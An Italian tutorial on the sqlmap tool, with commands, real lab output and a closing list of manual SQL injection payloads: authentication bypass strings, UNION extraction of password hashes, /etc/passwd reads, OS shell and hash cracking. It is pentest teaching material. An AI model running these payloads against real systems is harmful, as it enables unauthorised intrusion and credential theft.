web-hacking

SQLmap: Guida, Comandi e Tutorial per SQL Injection

SQLmap: Guida, Comandi e Tutorial per SQL Injection

Come usare sqlmap: installazione su Kali, Windows e Ubuntu, comandi, payload, POST, cookie, JSON, tamper e WAF bypass, dump MySQL e MS SQL Server, con lab.

  • Pubblicato il 2026-02-05
  • Tempo di lettura: 31 min

SQLmap: guida completa per testare e sfruttare le SQL injection (2026) #

sqlmap è il tool open source più usato per automatizzare il test e lo sfruttamento delle SQL injection. Lo punti su un URL, su una richiesta salvata da Burp o su un form: trova il parametro vulnerabile, riconosce il database, estrae tabelle e dati e, con i privilegi giusti, arriva a leggere file e a eseguire comandi sul server.

Questo tutorial sqlmap parte da zero e arriva a livello pentester: installazione, comandi sqlmap, richieste GET, POST, cookie, header e JSON, tecniche di injection, enumeration, dump, tamper script, WAF bypass, proxy, i singoli DBMS, un tamper personalizzato e la risoluzione dei problemi. Trovi anche una cheat sheet dei comandi e un laboratorio locale per provare tutto senza toccare siti altrui: vai al laboratorio sqlmap se vuoi saltare la teoria.

Versione testata: sqlmap 1.10.11. I comandi con 127.0.0.1:5000 sono stati eseguiti su un laboratorio Flask con SQLite, quelli con 127.0.0.1:8081 su un laboratorio PHP con MariaDB 10.11. Gli esempi con altri indirizzi (192.168.56.x) mostrano solo la sintassi. Qualche opzione, che segnalo di volta in volta, l’ho descritta da sqlmap -hh senza riuscire a provarla fino in fondo.

Tutto quello che leggi vale solo su sistemi tuoi o con autorizzazione scritta: laboratori locali, Hack The Box, TryHackMe, bug bounty con scope che lo permette, penetration test con contratto. È l’unico modo legale di fare hacking di un sito web con sqlmap.

In questa guida #

Cos’è sqlmap e a cosa serve #

sqlmap è un tester di SQL injection scritto in Python. Il suo lavoro è prendere un punto di ingresso (un parametro GET, un campo POST, un cookie, un header, un campo JSON) e provare centinaia di payload diversi per capire se quel valore finisce dentro una query SQL senza controllo. Quando trova un’injection, la usa per leggere il database.

Un attacco SQL injection sfrutta un’applicazione che costruisce le query unendo pezzi di testo scritti dall’utente. Se non hai ancora chiaro come nasce una SQL injection , leggi prima quell’articolo: sqlmap automatizza quello che si fa a mano, e capire cosa fa ti serve per correggerlo quando sbaglia.

Cosa sa fare:

  • Rilevare l’injection e capire quale tecnica funziona.
  • Riconoscere il DBMS e la sua versione (database fingerprinting).
  • Elencare database, tabelle, colonne, utenti, privilegi e hash delle password.
  • Fare il dump dei dati e provare a craccare gli hash trovati.
  • Leggere e scrivere file sul server, se il database lo permette.
  • Ottenere una shell SQL o una shell di sistema operativo.
  • Aggirare filtri e WAF con i tamper script.

Supporta oltre 30 DBMS: MySQL, MariaDB, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, IBM DB2, Microsoft Access, Firebird, Sybase, SAP MaxDB e molti altri.

Il flusso di lavoro è sempre questo:

sqlmap workflow: target, detection, fingerprint, enumeration, dump, post exploitation

Quando usarlo, e quando no:

  • Usalo quando hai già un sospetto (un errore SQL, un comportamento strano, un parametro che cambia la pagina) e vuoi confermarlo e sfruttarlo.
  • Non usarlo come primo strumento su un sito in produzione: è rumoroso, manda moltissime richieste e un WAF o un SOC se ne accorge subito.
  • Tra gli strumenti open source di test SQL injection è il più completo, ma conviene sempre fare prima un controllo manuale.
  • Per capire il contesto prima di lanciarlo, fai ricognizione con Burp Suite e con ffuf per trovare i parametri.

Installazione sqlmap #

Il codice sorgente ufficiale è su sqlmap github. Il significato è: il repository del progetto su GitHub, https://github.com/sqlmapproject/sqlmap . Per scaricare sqlmap hai tre strade, e la più aggiornata è sempre il clone da Git. Scarica solo da quel repository, dai pacchetti della tua distribuzione o da PyPI: gli “sqlmap download” su siti terzi o su cartelle zip a caso possono contenere codice modificato.

Installare sqlmap su Kali Linux #

Su Kali Linux sqlmap è nei repository, di solito è già presente:

bash
# Check if sqlmap is already installed
sqlmap --version

# Install it if missing
sudo apt update && sudo apt install sqlmap -y

Installare sqlmap su Ubuntu e Debian #

Su Ubuntu e Debian il pacchetto si chiama come il tool. Se vuoi l’ultima versione usa il clone da Git:

bash
# From the package manager (can be an older version)
sudo apt update && sudo apt install sqlmap -y

# From GitHub (always the latest version)
sudo apt install git python3 -y
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python3 sqlmap.py --version

Su Arch Linux basta sudo pacman -S sqlmap.

Installare sqlmap su Windows #

Per scaricare sqlmap per Windows e usarlo non serve nessun installer: serve Python 3 e Git. Scarica Python dal sito ufficiale, spunta “Add Python to PATH” e poi da PowerShell:

powershell
# Clone the repository
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev

# Run it
python sqlmap.py --version

Se non hai Git puoi scaricare lo zip dalla pagina GitHub del progetto e scompattarlo. Su Windows 7 l’ultima versione di Python installabile è la 3.8, e sqlmap funziona anche con quella. Su Windows il comando si lancia sempre con python sqlmap.py, non con sqlmap.

Installare sqlmap con pip e su Android #

bash
# Install from PyPI
pip install sqlmap

# On Android with Termux
pkg install python git -y
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --version

Aggiornare sqlmap #

bash
# If you cloned from GitHub
cd sqlmap-dev
git pull

# Or use the built-in updater (works only on a git clone)
python3 sqlmap.py --update

# If you installed it with apt
sudo apt update && sudo apt install --only-upgrade sqlmap

Per controllare che le dipendenze opzionali ci siano tutte: sqlmap --dependencies. Per l’help completo: sqlmap -hh.

Comandi sqlmap: la sintassi base #

La sintassi è sempre la stessa: il target, poi le opzioni.

bash
sqlmap -u "http://127.0.0.1:5000/product?id=1" --batch

-u è l’URL, --batch risponde da solo “sì, default” a tutte le domande. Senza --batch sqlmap si ferma e ti chiede conferma a ogni passo, che è utile per imparare e fastidioso negli script.

Ecco la tabella dei comandi sqlmap, la cheat sheet dei comandi di hacking SQL che userai ogni giorno nell’uso del tool:

OpzioneCosa fa
-u URLTarget con parametri GET
--data="a=1&b=2"Corpo di una richiesta POST
-r request.txtLegge una richiesta HTTP completa da file
-p paramTesta solo quel parametro
--cookie="a=1; b=2"Imposta i cookie
--headers="Name: value"Imposta header personalizzati
--batchModalità non interattiva
--level=1-5Quanti punti di injection provare
--risk=1-3Quanto sono pericolosi i test
--technique=BEUSTQQuali tecniche usare
--dbms=mysqlForza il DBMS
--banner, --current-user, --current-dbInformazioni sul database
--is-dbaControlla se l’utente è amministratore
--dbs, --tables, --columnsEnumeration
-D db -T table -C columnSceglie database, tabella, colonne
--dump, --dump-allEstrae i dati
--passwords, --users, --privilegesUtenti, hash e privilegi
--sql-shell, --os-shellShell SQL e shell di sistema
--file-read, --file-write, --file-destLettura e scrittura file
--tamper=script1,script2Modifica i payload per aggirare i filtri
--random-agentUser-Agent casuale
--proxy, --torPassa da proxy o da Tor
--threads=NRichieste in parallelo (massimo 10)
--flush-sessionCancella la sessione salvata e riparte
-v 0-6Verbosità (-v 3 mostra i payload)

Cheat sheet sqlmap per categoria #

Le stesse opzioni, divise per quello che devi fare. È la sqlmap cheat sheet da tenere sotto mano:

CategoriaOpzioni
Target-u, -r file, -m targets.txt (lista di URL), -c config.ini, -l log (da Burp)
Richiesta--data, --cookie, --headers, -X (metodo HTTP), --auth-type e --auth-cred, --proxy, --random-agent
Dove iniettare-p, --skip, --prefix, --suffix, --second-url, asterisco * nel valore
Rilevamento--level, --risk, --string, --not-string, --code, --text-only
Tecniche--technique=BEUSTQ, --time-sec, --union-cols, --union-char
Enumeration--banner, --current-user, --current-db, --dbs, --tables, --columns, --schema, --search, --common-tables, --common-columns
Dump--dump, --dump-all, -D, -T, -C, --where, --start, --stop, --exclude-sysdbs, --dump-format
Fingerprint--dbms, -f (fingerprint esteso), --banner
Accesso al sistema--file-read, --file-write, --file-dest, --sql-shell, --os-shell, --os-cmd
Evasione--tamper, --delay, --random-agent, --tor, --proxy, --skip-waf
Sessione e output--flush-session, --fresh-queries, --output-dir, --results-file, --save, --har, -v
Aiuto-h, -hh (help completo), --wizard (modalità guidata), --list-tampers

-m legge una lista di URL (uno per riga) e li testa uno dopo l’altro; --results-file salva i risultati in un CSV; --save salva le opzioni in un file di configurazione che riusi con -c. Per i principianti --wizard fa le domande al posto tuo.

Come usare sqlmap su richieste GET #

È il caso più semplice. Hai un parametro in URL e lo passi con -u:

bash
sqlmap -u "http://127.0.0.1:5000/product?id=1" --batch

Questo è l’output reale ottenuto sul laboratorio (accorciato):

text
sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3874=3874

    Type: error-based
    Title: SQLite >= 3.9 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON path)
    Payload: id=1 AND 1422=JSON_EXTRACT(CHAR(123,125),CHAR(113,120,120,107,113)||(SELECT (CASE WHEN (1422=1422) THEN 1 ELSE 0 END))||CHAR(113,112,122,122,113))

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: id=1 AND 1521=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,CHAR(113,120,120,107,113)||CHAR(108,109,79,...)||CHAR(113,112,122,122,113),NULL-- LQng
---
back-end DBMS: SQLite

Come si legge: Parameter è il punto vulnerabile, Type è la tecnica che funziona, Payload è la stringa che sqlmap ha mandato. Con quattro tecniche disponibili puoi scegliere la più veloce per estrarre i dati.

Se nell’URL ci sono più parametri e vuoi testarne uno solo, usa -p:

bash
sqlmap -u "http://127.0.0.1:5000/product?id=1&order=asc" -p id --batch

Se la richiesta non ha nessun parametro visibile (per esempio un URL con l’id nel percorso), metti un asterisco dove vuoi iniettare:

bash
sqlmap -u "http://127.0.0.1:5000/product/1*" --batch

Come usare sqlmap su richieste POST #

Per una richiesta POST (sqlmap post data) passi il corpo con --data:

bash
sqlmap -u "http://127.0.0.1:5000/login" --data="username=admin&password=5f4dcc3b5aa765d61d8327deb882cf99" -p username --technique=B --batch

Output reale:

text
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=admin' AND 9014=9014 AND 'TUcU'='TUcU&password=5f4dcc3b5aa765d61d8327deb882cf99

Un dettaglio che fa perdere tempo a tutti: per la tecnica boolean-based blind (Il significato è: cieca basata su vero o falso) sqlmap confronta due pagine, quella con la condizione vera e quella con la condizione falsa. Se nel --data metti credenziali sbagliate, la pagina di partenza è già “falsa” e sqlmap non vede nessuna differenza. Usa sempre valori che portano la pagina nello stato “vero” (un login valido, un id che esiste), oppure dì a sqlmap cosa cercare con --string="Login successful".

Il file di richiesta: sqlmap -r e Burp Suite #

Il modo più realistico di lavorare è copiare la richiesta vera dal browser. Con Burp Suite : intercetti la richiesta, tasto destro, “Copy to file” (oppure “Save item”), e la dai a sqlmap con -r:

bash
sqlmap -r request.txt -p username --technique=B --batch

Il file request.txt è la richiesta HTTP grezza:

http
POST /login HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

username=admin&password=5f4dcc3b5aa765d61d8327deb882cf99

Con -r sqlmap prende da solo metodo, header, cookie e corpo, e li prova tutti. Due note importanti:

  • Il file non contiene lo schema, quindi sqlmap usa http. Se il sito è in HTTPS aggiungi --force-ssl.
  • Per testare un punto preciso dentro il file, scrivi un asterisco nel valore (per esempio username=admin*).

Per far passare il traffico di sqlmap da Burp e vederlo nella cronologia:

bash
sqlmap -u "http://127.0.0.1:5000/product?id=1" --proxy="http://127.0.0.1:8080" --batch

Molte injection stanno dove nessuno guarda: nel cookie e negli header. Per un cookie (sqlmap cookie sql injection) servono --cookie e --level=2, perché a livello 1 i cookie non vengono testati:

bash
sqlmap -u "http://127.0.0.1:5000/profile" --cookie="user_id=1" --level=2 --technique=U --batch

Output reale:

text
Parameter: user_id (Cookie)
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: user_id=-2073 UNION ALL SELECT CONCAT(CONCAT('qzpvq','WEDiKIjUiUqnumzxvByWjgsVgAeiWyNHVmstgnTy'),'qbbvq')-- TSlT

Gli altri punti di ingresso in base al livello:

LivelloCosa viene testato in più
1 (default)Parametri GET e POST
2Cookie
3Header User-Agent e Referer
4Altri header
5Header Host

Per iniettare in un header specifico, mettici l’asterisco:

bash
sqlmap -u "http://127.0.0.1:5000/product?id=1" --headers="X-Forwarded-For: 127.0.0.1*" --batch

Per i token di autenticazione e le sessioni:

bash
# Bearer token in the Authorization header
sqlmap -u "http://127.0.0.1:5000/product?id=1" --headers="Authorization: Bearer 8f3a1c9e2b7d4a60" --batch

# HTTP Basic authentication (not for login forms)
sqlmap -u "http://127.0.0.1:5000/product?id=1" --auth-type=Basic --auth-cred="admin:password" --batch

# Load cookies from a file exported from the browser
sqlmap -u "http://127.0.0.1:5000/product?id=1" --load-cookies=cookies.txt --batch

--auth-type e --auth-cred servono solo per l’autenticazione HTTP del browser (Basic, Digest, NTLM). Per un form di login normale, copia i cookie di sessione dopo aver fatto il login.

Altri header utili: -A "Mozilla/5.0" per il User-Agent, --referer, --host, --random-agent per un User-Agent casuale e --mobile per imitare uno smartphone.

sqlmap con JSON e API #

Le API moderne mandano JSON. sqlmap lo riconosce da solo se il corpo sembra JSON, ma devi dirgli il Content-Type:

bash
sqlmap -u "http://127.0.0.1:5000/api/search" --data='{"name":"Mouse*"}' --headers="Content-Type: application/json" --technique=B --batch

L’asterisco dopo Mouse dice dove iniettare. Output reale:

text
Parameter: JSON #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: {"name":"Mouse' AND 1997=1997 AND 'FpzE'='FpzE"}

Se sqlmap ti chiede “JSON data found in POST body. Do you want to process it?” rispondi Y (con --batch lo fa da solo). Per le particolarità delle API REST leggi anche SQL injection nelle API REST .

Token CSRF, form e crawling #

Se il form cambia un token a ogni richiesta, sqlmap può leggerlo da una pagina e rimandarlo:

bash
sqlmap -u "http://127.0.0.1:5000/login" --data="username=admin&password=x&csrf_token=abc" --csrf-token="csrf_token" --csrf-url="http://127.0.0.1:5000/login" --batch

Per testare tutti i form di una pagina e per fare il crawling del sito:

bash
# Parse and test every form in the page
sqlmap -u "http://127.0.0.1:5000/" --forms --batch

# Crawl two levels deep and test what it finds
sqlmap -u "http://127.0.0.1:5000/" --crawl=2 --batch

Per le sessioni che scadono o che vengono invalidate dai test, guarda --safe-url e --safe-freq: sqlmap visita una pagina innocua ogni tot richieste per tenere viva la sessione.

Tecniche di SQL injection in sqlmap #

sqlmap prova sei tecniche, che si scelgono con --technique usando le lettere: B, E, U, S, T, Q. Il default è BEUSTQ, cioè tutte.

LetteraTecnicaVelocitàRumore
UUNION query (Il significato è: la query originale viene unita a una tua)AltissimaMedio
EError-based (Il significato è: il dato esce dentro un messaggio di errore)AltaMedio
BBoolean-based blind (Il significato è: si deduce il dato da risposte vere o false)BassaAlto
TTime-based blind (Il significato è: si deduce il dato dal tempo di risposta)Molto bassaAlto
SStacked queries (Il significato è: più query separate da un punto e virgola)AltaMedio
QInline queries (Il significato è: una subquery dentro la query originale)MediaMedio

Come scegliere:

bash
# Only UNION: fastest, use it when the page shows query results
sqlmap -u "http://127.0.0.1:5000/product?id=1" --technique=U --batch

# Only boolean and time-based: for pages that show nothing useful
sqlmap -u "http://127.0.0.1:5000/product?id=1" --technique=BT --batch

# Everything except time-based: avoids the slow delays
sqlmap -u "http://127.0.0.1:5000/product?id=1" --technique=BEUSQ --batch

Boolean-based e time-based: sqlmap blind SQL injection #

Una injection blind è quella in cui la pagina non mostra né dati né errori. Si sfrutta una differenza: nel caso boolean-based la pagina cambia (più risultati, meno risultati, un messaggio diverso), nel caso time-based il server risponde più lentamente. Se vuoi capire il meccanismo a mano leggi SQL injection blind e time-based SQL injection .

Questo è un esempio di tutorial su una blind SQL injection con sqlmap. L’endpoint del laboratorio /delayed-search risponde sempre “Search completed”, qualunque cosa succeda: l’unica tecnica possibile è quella del tempo.

bash
sqlmap -u "http://127.0.0.1:5000/delayed-search?q=Mouse" --technique=T --level=3 --risk=2 --time-sec=2 --batch

Output reale (accorciato):

text
[INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[INFO] GET parameter 'q' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable

Perché servono --level=3 --risk=2: con i valori di default quel test non parte. Con --risk=2 sqlmap aggiunge le query pesanti (heavy query), che sono quelle che funzionano quando il DBMS non ha una funzione di sleep, come SQLite. --time-sec=2 abbassa il ritardo da 5 a 2 secondi per fare prima.

Consigli sul time-based:

  • È lentissimo: ogni carattere richiede più richieste. Usalo solo se non c’è niente di meglio.
  • Non usare molti --threads: i ritardi si sovrappongono e i risultati diventano sbagliati.
  • Le query pesanti possono rallentare il database in produzione. Chiedi sempre prima.
  • Per velocizzare sui dati testuali restringi i caratteri con --charset="0123456789abcdef" (utile per gli hash).

Stacked queries #

Le stacked queries funzionano solo se il driver del database accetta più istruzioni separate da un punto e virgola. Su Microsoft SQL Server e PostgreSQL di solito sì, su MySQL con PHP quasi mai. Sono la tecnica che serve per eseguire comandi e scrivere file: se sqlmap non le trova, --os-shell non funzionerà (tranne che con la scrittura di file).

Second-order injection #

Nella second-order injection (Il significato è: il payload viene salvato adesso ed eseguito dopo, in un’altra pagina) il punto di inserimento e il punto dove la query si rompe sono diversi. Si dice a sqlmap quale pagina guardare dopo ogni invio con --second-url:

Nel laboratorio, /register salva la bio con una query sicura, ma /welcome la usa dopo, concatenata dentro un’altra query. Il primo passo è mettere un valore valido (bio=Mouse), perché sqlmap deve vedere una pagina “vera” di partenza:

bash
sqlmap -u "http://127.0.0.1:5000/register" --data="username=mario&bio=Mouse" -p bio --second-url="http://127.0.0.1:5000/welcome?user=mario" --technique=B --dbms=sqlite --batch

Output reale (accorciato):

text
Parameter: bio (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=mario&bio=Mouse' AND 6888=6888 AND 'lCjy'='lCjy

Il parametro che inietti è bio (nel form di registrazione), ma la query che si rompe è quella di /welcome. Da qui ogni comando di enumeration funziona come sempre: aggiungendo --tables nello stesso comando sqlmap ha elencato bios, products e users.

Nelle vecchie guide trovi --second-order: nelle versioni attuali l’opzione si chiama --second-url (e --second-req per caricare la seconda richiesta da un file).

Out-of-band e DNS exfiltration #

Quando non c’è nessuna differenza né di contenuto né di tempo, il database può contattare un server tuo. L’opzione --dns-domain attiva l’esfiltrazione tramite DNS (out-of-band: Il significato è: il dato esce da un canale diverso da quello della risposta HTTP). Serve un dominio di cui controlli il server DNS e un DBMS che sa fare richieste esterne (SQL Server, Oracle e pochi altri). È una tecnica di nicchia: se ti serve, parti dalla documentazione ufficiale nel wiki di sqlmap .

Database fingerprinting ed enumeration #

Una volta trovata l’injection, la sequenza è sempre la stessa: informazioni, database, tabelle, colonne, dati. Sqlmap salva tutto in una sessione, quindi i comandi successivi non rifanno il rilevamento.

bash
# Who am I, where am I
sqlmap -u "http://127.0.0.1:5000/product?id=1" --banner --current-user --current-db --hostname --is-dba --batch

Su MySQL e PostgreSQL questo ti dice versione, utente e se sei amministratore. Sul laboratorio SQLite l’output è questo:

text
banner: '3.53.1'
[WARNING] on SQLite it is not possible to get name of the current database
[WARNING] on SQLite the current user has all privileges

SQLite non ha utenti né database multipli, quindi molte di queste informazioni non esistono. È un buon promemoria: sqlmap si adatta al DBMS, e a volte la risposta giusta è “non esiste”.

sqlmap enumerate databases, tables e columns #

bash
# List databases (MySQL, PostgreSQL, MSSQL, ...)
sqlmap -u "http://192.168.56.20/product.php?id=5" --dbs --batch

# List tables of one database
sqlmap -u "http://192.168.56.20/product.php?id=5" -D shop --tables --batch

# List columns of one table
sqlmap -u "http://192.168.56.20/product.php?id=5" -D shop -T users --columns --batch

# The whole schema in one go
sqlmap -u "http://192.168.56.20/product.php?id=5" --schema --batch

# Search for a column or table by name
sqlmap -u "http://192.168.56.20/product.php?id=5" --search -C password --batch

Sul laboratorio (SQLite non ha --dbs):

bash
sqlmap -u "http://127.0.0.1:5000/product?id=1" --tables --batch
text
<current>
[2 tables]
+----------+
| products |
| users    |
+----------+
bash
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --columns --batch
text
Table: users
[4 columns]
+----------+---------+
| Column   | Type    |
+----------+---------+
| id       | INTEGER |
| password | TEXT    |
| role     | TEXT    |
| username | TEXT    |
+----------+---------+

sqlmap dump database: estrarre i dati #

bash
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --dump --batch
text
Table: users
[3 entries]
+----+--------+---------------------------------------------+----------+
| id | role  | password                                    | username |
+----+-------+---------------------------------------------+----------+
| 1  | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin    |
| 2  | user  | e10adc3949ba59abbe56e057f20f883e (123456)   | mario    |
| 3  | user  | 25d55ad283aa400af464c76d713c07ad (12345678) | sara     |
+----+-------+---------------------------------------------+----------+

Nota le parole tra parentesi: sqlmap riconosce che sono hash MD5 e prova a craccarli da solo con un dizionario interno. Per hash più difficili usa Hashcat o John the Ripper .

Le varianti del dump:

bash
# Only some columns
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users -C username,password --dump --batch

# Only rows that match a condition
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --dump --where="role='admin'" --batch

# Only a range of rows
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --dump --start=1 --stop=2 --batch

# Everything, without the system databases (it can be huge)
sqlmap -u "http://192.168.56.20/product.php?id=5" --dump-all --exclude-sysdbs --batch

# Choose the output format: CSV (default), HTML, SQLITE or JSONL
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --dump --dump-format=HTML --batch

I file finiscono nella cartella di output di sqlmap, in dump/. Su Linux la cartella è ~/.local/share/sqlmap/output/<host>/.

Utenti, privilegi e hash delle password del database #

bash
sqlmap -u "http://192.168.56.20/product.php?id=5" --users --passwords --privileges --roles --batch

--passwords estrae gli hash degli utenti del database (non quelli dei tuoi utenti dell’applicazione) e prova a craccarli. Un hash di MySQL si cracca con Hashcat così:

bash
echo "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" > mysql_hash.txt
hashcat -m 300 mysql_hash.txt /usr/share/wordlists/rockyou.txt

Il risultato di --is-dba e di --privileges decide quanto è grave l’injection: un utente applicativo con pochi permessi legge solo i suoi dati, un amministratore può arrivare al sistema operativo.

sqlmap shell: SQL shell, lettura file e OS shell #

Qui l’injection diventa compromissione del server. Tutto dipende dai privilegi dell’utente del database e dal DBMS.

SQL shell #

Una shell interattiva in cui scrivi query e sqlmap le esegue per te:

bash
sqlmap -u "http://127.0.0.1:5000/product?id=1" --sql-shell --batch
text
sql-shell> SELECT username FROM users WHERE id=1
SELECT username FROM users WHERE id=1: 'admin'

File read e file write #

Su MySQL serve il privilegio FILE e un valore di secure_file_priv che lo permetta. Su Microsoft SQL Server e PostgreSQL dipende dalla configurazione e dai privilegi.

bash
# Read a file from the server
sqlmap -u "http://192.168.56.20/product.php?id=5" --file-read="/etc/passwd" --batch

# Write a proof file into the web root
echo "pentest-proof" > proof.txt
sqlmap -u "http://192.168.56.20/product.php?id=5" --file-write="proof.txt" --file-dest="/var/www/html/proof.txt" --batch

Il file letto viene salvato nella cartella files/ dell’output di sqlmap. Per un report basta scrivere un file di prova: dimostra l’impatto senza lasciare una web shell. Se invece l’obiettivo è la shell, vedi web shell e file upload attack .

OS shell #

bash
sqlmap -u "http://192.168.56.20/product.php?id=5" --os-shell --batch

Come funziona dipende dal DBMS:

  • Su MySQL sqlmap scrive di solito un piccolo web shell nella web root con INTO OUTFILE, quindi servono FILE, una cartella scrivibile e un linguaggio lato server riconosciuto (PHP, ASP, ASPX, JSP). Ti chiede la web root: se non la conosci prova la lista dei percorsi comuni.
  • Su Microsoft SQL Server usa xp_cmdshell: se è disabilitata e sei amministratore, sqlmap la riattiva da solo. Leggi anche SQL injection su MSSQL .
  • Su PostgreSQL con un superutente carica una funzione utente (UDF) per eseguire comandi.
  • Su SQLite e sui database senza accesso al sistema operativo non c’è nessuna OS shell.

Altre opzioni di post exploitation: --os-pwn (shell remota, Meterpreter o VNC), --priv-esc, --reg-read per leggere il registro su Windows. Servono quasi sempre privilegi da amministratore del database.

sqlmap e i singoli DBMS #

Se sai già qual è il DBMS, forzarlo con --dbms fa risparmiare molti test:

bash
sqlmap -u "http://192.168.56.20/product.php?id=5" --dbms=mysql --batch
DBMSValore di --dbmsCosa sapere
MySQL e MariaDBmysqlIl caso più comune per un tool di MySQL injection: MariaDB viene riconosciuto come MySQL. Vedi SQL injection su MySQL e la porta 3306
Microsoft SQL Servermssqlxp_cmdshell, stacked queries, --reg-read. Vedi la porta 1433
PostgreSQLpostgresqlStacked queries e UDF con superutente
OracleoracleTabella dual obbligatoria nelle select, time-based con DBMS_PIPE
SQLitesqliteNiente utenti, niente privilegi, niente OS shell
Microsoft AccessaccessNiente information_schema: usa --common-tables e --common-columns

Esempio reale su MySQL (MariaDB) #

Il laboratorio Flask è su SQLite, che non ha utenti né database. Per mostrarti l’output su un DBMS vero ho provato sqlmap su una piccola app PHP con MariaDB 10.11, vulnerabile apposta e in ascolto solo su 127.0.0.1. La query è SELECT id, name, price FROM products WHERE id = $id.

bash
sqlmap -u "http://127.0.0.1:8081/index.php?id=1" --dbs --batch
text
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] shop
[*] sys
bash
sqlmap -u "http://127.0.0.1:8081/index.php?id=1" --current-user --current-db --is-dba --batch
text
current user: 'webadmin@localhost'
current database: 'shop'
current user is DBA: True

Lo stesso comando con un utente applicativo con pochi permessi (nel mio laboratorio webreader) dà current user is DBA: False, e il tentativo di --file-read su quell’utente finisce con no data retrieved: è la differenza tra un’injection che legge dati e una che arriva al server. Con l’utente amministratore --file-read="/etc/hostname" ha scaricato il file nella cartella files/ dell’output.

Un dettaglio utile sugli hash: --passwords ha restituito invalid e NULL per gli utenti di MariaDB 10.11, perché i campi hash non erano nel formato classico. Se vedi questo, non vuol dire che il comando è rotto: dipende dalla versione del database.

Sullo stesso bersaglio sqlmap ha trovato la UNION con tre colonne:

text
Parameter: id (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns

Anche --os-shell e i tamper hanno funzionato su questo laboratorio con l’utente amministratore. Se il tuo bersaglio è un MySQL reale leggi anche SQL injection su MySQL .

sqlmap per Microsoft SQL Server (sqlmap ms sql server) #

Il caso classico in un pentest Windows: un’applicazione ASP.NET con SQL Server dietro.

bash
sqlmap -u "http://192.168.56.30/item.aspx?id=4" --dbms=mssql --is-dba --batch
sqlmap -u "http://192.168.56.30/item.aspx?id=4" --dbms=mssql --os-shell --batch

Con --dbms="Microsoft SQL Server" ottieni lo stesso risultato. Se l’utente è sa o ha il ruolo sysadmin, hai praticamente il server. Dopo il test, riporta sempre l’abilitazione di xp_cmdshell nel report: sqlmap può averla cambiata.

Payload manuali: cosa manda davvero sqlmap #

Per capire gli output (e per quando sqlmap non basta) serve conoscere i payload a mano. Questi sono stati verificati sul laboratorio SQLite o seguono la sintassi standard del DBMS indicato.

Rilevamento #

text
'
"
')
'))
1 AND 1=1
1 AND 1=2
1' AND '1'='1

Se 1 AND 1=1 restituisce la pagina normale e 1 AND 1=2 una pagina diversa, hai una boolean-based. Sul laboratorio: il primo mostra “1 - Keyboard - 29.9”, il secondo “No product”.

Commenti per chiudere la query #

text
-- -        MySQL, PostgreSQL, MSSQL, Oracle, SQLite
#            MySQL
/**/         all (inline)

Bypass di autenticazione #

text
admin'-- -
' OR 1=1-- -
admin' OR '1'='1

Sul laboratorio i primi due danno entrambi “Login successful”.

UNION: numero di colonne ed estrazione #

text
1 ORDER BY 1-- -
1 ORDER BY 2-- -
1 ORDER BY 3-- -
1 ORDER BY 4-- -

Quando ORDER BY 4 dà errore (sul laboratorio: “1st ORDER BY term out of range - should be between 1 and 3”) la query ha 3 colonne. Poi:

text
-1 UNION SELECT NULL,NULL,NULL-- -
-1 UNION SELECT NULL,'a',NULL-- -
-1 UNION SELECT NULL,GROUP_CONCAT(name),NULL FROM sqlite_master WHERE type='table'-- -
-1 UNION SELECT NULL,GROUP_CONCAT(username||':'||password),NULL FROM users-- -

Il terzo restituisce sul laboratorio users,products, il quarto tutti gli utenti con gli hash. Su MySQL le tabelle si leggono da information_schema:

text
-1 UNION SELECT NULL,GROUP_CONCAT(table_name),NULL FROM information_schema.tables WHERE table_schema=DATABASE()-- -

Error-based #

text
MySQL        1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))
MySQL        1 AND UPDATEXML(1,CONCAT(0x7e,(SELECT USER())),1)
MSSQL        1 AND 1=CONVERT(INT,(SELECT @@VERSION))
PostgreSQL   1 AND 1=CAST((SELECT VERSION()) AS INT)
Oracle       1 AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||(SELECT USER FROM DUAL)||CHR(62))) FROM DUAL)

Time-based #

text
MySQL        1 AND SLEEP(5)
MySQL        1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)
MSSQL        1; WAITFOR DELAY '0:0:5'-- -
PostgreSQL   1 AND 1=(SELECT 1 FROM PG_SLEEP(5))
Oracle       1 AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)
SQLite       1 AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))

L’ultimo è quello che sqlmap ha trovato sul laboratorio: su SQLite non esiste uno sleep, quindi si costringe il motore a un lavoro pesante e si misura il tempo.

